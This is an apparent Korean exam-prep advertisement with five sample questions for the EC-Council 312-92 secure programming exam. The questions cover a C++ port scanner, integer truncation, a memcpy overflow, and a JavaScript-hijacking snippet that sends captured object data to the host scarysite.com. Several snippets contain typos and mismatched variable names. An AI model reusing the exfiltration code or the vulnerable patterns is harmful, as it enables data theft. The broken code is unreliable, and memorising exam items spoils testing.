312-92 시험 정보 확인부터 문제 풀이와 실전 모의고사까지 Fast2test 하나로 EC-COUNCIL EC-Council Certified Secure Programmer v2 준비를 마치실 수 있습니다. 99문항의 연습문제와 세 가지 학습 형태, 365일 무료 업데이트까지 한 번에 제공해 드립니다.

EC-COUNCIL 312-92 시험 개요:

EC-COUNCIL 312-92 시험 요강 주제:

EC-COUNCIL 312-92 관련 궁금증 해결 가이드

최신 ECSP 312-92 무료샘플문제

문제 #1

Devon is an applications developer that just got back from a conference on how to correctly write code. Devon has a number of programs he has written that access data across WAN links, so he is particularly concerned about their security. Devon writes a script in C++ to check the security of the programs running on his internal servers. What will the following code from Devon's script accomplish?
#include <iostream>
#include <socket.cpp>
#include <util.h>
using namespace std;
bool tryPort(int p);
string target("");
int main(int argC, char *argV[])
{
printf("PlagueZ port scanner 0.1\n");
int startPort = getInt("start Port: ");
int endPort = getInt("end Port: ");
target = getString("Host: ");
printf("[Processing port %d to %d]\n",
startPort, endPort);
for(int i=0; i<endPort; i++)
{
printf("[Trying port: %d]\n", i);
if(tryPort(i)) // port open
printf("[Port %d is open]\n", i);
}
printf("------Scan Finished-------\n");
system("pause");
return 0;
}
bool tryPort(int p)
{
SocketClient *scan;
try
{
scan = new SocketClient(target, p);
}
catch(int e) { delete &scan; return
false; }
delete &scan;
return true;
}

A. Scan the perimeter firewall for DoS vulnerabilities
B. Scan for open ports
C. Create socket connections to the remote sites to check their security
D. Close off any ports used by malicious code

문제 #2

Simon is writing an application that will use RPC to talk between a client and server. He will use authentication, but in his application the server does not have to know the RPC caller's identity. What type of RPC authentication can Simon use for this application?

A. NULL authentication
B. UNIX authentication
C. ANONYMOUS authentication
D. DES authentication

문제 #3

What type of problem will result if the following statement is used?
int main()
{
short int a;
unsigned short int=b32768;
a=b;
printf( " a = %d", a);
b=65535;
a=b;
printf( " a = %d", a);
}

A. Sign error
B. Function-pointer clobbering
C. Truncation
D. Pointer subterfuge

문제 #4

Simon is going through some of Heather's code and notices an issue. What issue did Simon find in the following code?
void f4(void * arg, size_t len)
{
char *buff = new char[100];
C *ptr = new C;
memcpy(buff, arg, len);
ptr->vf();
return;
}

A. Virtual pointer smashing
B. Function pointer clobbering
C. Data pointer modification
D. Null-termination

문제 #5

Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of opening the email on his normal production machine, Travis decides to copy the email to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and discovers a link that is supposed to take him to
http://scarysite.com. Travis decides to get back on his production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring = ""
for(fld in this) {
obstring += fld + ": " this[fld] + ", ";
}
obstring += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://scarysite.com?obj=" +
escape(objString), true);
req.send(null);
}
</script>

A. URL tampering
B. XSS attack
C. JavaScript hijacking
D. URL obfuscation

질문과 대답: